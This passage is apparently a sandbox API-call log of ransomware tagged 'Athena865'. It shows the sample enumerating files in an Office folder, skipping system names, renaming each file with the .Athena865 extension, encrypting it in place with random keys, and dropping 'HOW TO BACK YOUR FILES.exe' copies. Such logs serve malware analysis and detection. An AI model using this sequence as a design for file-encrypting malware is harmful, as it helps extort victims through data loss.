Flags=0x8, Size=0x104) returned 0x530d20 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.601] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.601] CloseHandle (hObject=0x154) returned 1 [0139.601] CloseHandle (hObject=0x17c) returned 1 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.602] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".") returned 1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="..") returned 1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="windows") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="bootmgr") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="temp") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="pagefile.sys") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="boot") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="ids.txt") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="ntuser.dat") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="perflogs") returned -1 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2="MSBuild") returned -1 [0139.602] lstrlenW (lpString="BASIC.HTM") returned 9 [0139.602] lstrcpyW (in: lpString1=0x241e8a8, lpString2="BASIC.HTM" | out: lpString1="BASIC.HTM") returned="BASIC.HTM" [0139.602] lstrlenW (lpString="BASIC.HTM") returned 9 [0139.602] lstrlenW (lpString="Athena865") returned 9 [0139.602] lstrlenW (lpString=".dll") returned 4 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".dll") returned 1 [0139.602] lstrlenW (lpString=".lnk") returned 4 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".lnk") returned 1 [0139.602] lstrlenW (lpString=".ini") returned 4 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".ini") returned 1 [0139.602] lstrlenW (lpString=".sys") returned 4 [0139.602] lstrcmpiW (lpString1="BASIC.HTM", lpString2=".sys") returned 1 [0139.602] lstrlenW (lpString="BASIC.HTM") returned 9 [0139.603] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.Athena865") returned 67 [0139.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.athena865"), dwFlags=0x1) returned 1 [0139.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.605] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=269) returned 1 [0139.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.605] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.606] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.606] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.606] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0139.610] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0139.611] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.612] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.612] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.613] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.613] CloseHandle (hObject=0x154) returned 1 [0139.613] CloseHandle (hObject=0x17c) returned 1 [0139.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.613] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".") returned 1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="..") returned 1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="windows") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="bootmgr") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="temp") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="pagefile.sys") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="boot") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="ids.txt") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="ntuser.dat") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="perflogs") returned -1 [0139.613] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2="MSBuild") returned -1 [0139.614] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0139.614] lstrcpyW (in: lpString1=0x241e8a8, lpString2="BCSRuntimeRes.dll" | out: lpString1="BCSRuntimeRes.dll") returned="BCSRuntimeRes.dll" [0139.614] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0139.614] lstrlenW (lpString="Athena865") returned 9 [0139.614] lstrcmpiW (lpString1="meRes.dll", lpString2="Athena865") returned 1 [0139.614] lstrlenW (lpString=".dll") returned 4 [0139.614] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".dll") returned 1 [0139.614] lstrlenW (lpString=".lnk") returned 4 [0139.614] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".lnk") returned 1 [0139.614] lstrlenW (lpString=".ini") returned 4 [0139.614] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".ini") returned 1 [0139.614] lstrlenW (lpString=".sys") returned 4 [0139.614] lstrcmpiW (lpString1="BCSRuntimeRes.dll", lpString2=".sys") returned 1 [0139.614] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0139.614] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.Athena865") returned 75 [0139.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.athena865"), dwFlags=0x1) returned 1 [0139.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24960) returned 1 [0139.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.616] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.617] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.617] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.617] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6480, lpName=0x0) returned 0x154 [0139.618] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6480) returned 0x100000 [0139.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.620] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.620] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.621] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.621] CloseHandle (hObject=0x154) returned 1 [0139.621] CloseHandle (hObject=0x17c) returned 1 [0139.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.622] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".") returned 1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="..") returned 1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="windows") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="bootmgr") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="temp") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="pagefile.sys") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="boot") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="ids.txt") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="ntuser.dat") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="perflogs") returned -1 [0139.622] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2="MSBuild") returned -1 [0139.622] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0139.622] lstrcpyW (in: lpString1=0x241e8a8, lpString2="BHOINTL.DLL" | out: lpString1="BHOINTL.DLL") returned="BHOINTL.DLL" [0139.622] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0139.623] lstrlenW (lpString="Athena865") returned 9 [0139.623] lstrcmpiW (lpString1="OINTL.DLL", lpString2="Athena865") returned 1 [0139.623] lstrlenW (lpString=".dll") returned 4 [0139.623] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".dll") returned 1 [0139.623] lstrlenW (lpString=".lnk") returned 4 [0139.623] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".lnk") returned 1 [0139.623] lstrlenW (lpString=".ini") returned 4 [0139.623] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".ini") returned 1 [0139.623] lstrlenW (lpString=".sys") returned 4 [0139.623] lstrcmpiW (lpString1="BHOINTL.DLL", lpString2=".sys") returned 1 [0139.623] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0139.623] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.Athena865") returned 69 [0139.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.athena865"), dwFlags=0x1) returned 1 [0139.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.625] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10104) returned 1 [0139.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.625] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.626] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.626] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.626] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a80, lpName=0x0) returned 0x154 [0139.627] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a80) returned 0x100000 [0139.628] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.629] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.629] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.630] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.630] CloseHandle (hObject=0x154) returned 1 [0139.630] CloseHandle (hObject=0x17c) returned 1 [0139.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.630] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0139.630] lstrcmpiW (lpString1="Bibliography", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.630] lstrcmpiW (lpString1="Bibliography", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.630] lstrcmpiW (lpString1="Bibliography", lpString2=".") returned 1 [0139.630] lstrcmpiW (lpString1="Bibliography", lpString2="..") returned 1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="windows") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="bootmgr") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="temp") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="pagefile.sys") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="boot") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="ids.txt") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="ntuser.dat") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="perflogs") returned -1 [0139.631] lstrcmpiW (lpString1="Bibliography", lpString2="MSBuild") returned -1 [0139.631] lstrlenW (lpString="Bibliography") returned 12 [0139.631] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Bibliography" | out: lpString1="Bibliography") returned="Bibliography" [0139.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f760 [0139.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54ecc0 [0139.631] lstrcatW (in: lpString1="Bibliography", lpString2="\\" | out: lpString1="Bibliography\\") returned="Bibliography\\" [0139.631] lstrcatW (in: lpString1="Bibliography\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Bibliography\\HOW TO BACK YOUR FILES.exe") returned="Bibliography\\HOW TO BACK YOUR FILES.exe" [0139.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\how to back your files.exe"), bFailIfExists=1) returned 1 [0139.635] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".") returned 1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="..") returned 1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="windows") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="bootmgr") returned 1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="temp") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="pagefile.sys") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="boot") returned 1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="ids.txt") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="ntuser.dat") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="perflogs") returned -1 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2="MSBuild") returned -1 [0139.635] lstrlenW (lpString="BSTORM.VSL") returned 10 [0139.635] lstrcpyW (in: lpString1=0x241e8a8, lpString2="BSTORM.VSL" | out: lpString1="BSTORM.VSL") returned="BSTORM.VSL" [0139.635] lstrlenW (lpString="BSTORM.VSL") returned 10 [0139.635] lstrlenW (lpString="Athena865") returned 9 [0139.635] lstrcmpiW (lpString1="STORM.VSL", lpString2="Athena865") returned 1 [0139.635] lstrlenW (lpString=".dll") returned 4 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".dll") returned 1 [0139.635] lstrlenW (lpString=".lnk") returned 4 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".lnk") returned 1 [0139.635] lstrlenW (lpString=".ini") returned 4 [0139.635] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".ini") returned 1 [0139.636] lstrlenW (lpString=".sys") returned 4 [0139.636] lstrcmpiW (lpString1="BSTORM.VSL", lpString2=".sys") returned 1 [0139.636] lstrlenW (lpString="BSTORM.VSL") returned 10 [0139.636] lstrlenW (lpString="bak") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="bak") returned 1 [0139.636] lstrlenW (lpString="ba_") returned 3 [0139.636] lstrcmpiW (lpString1="VSL", lpString2="ba_") returned 1 [0139.636] 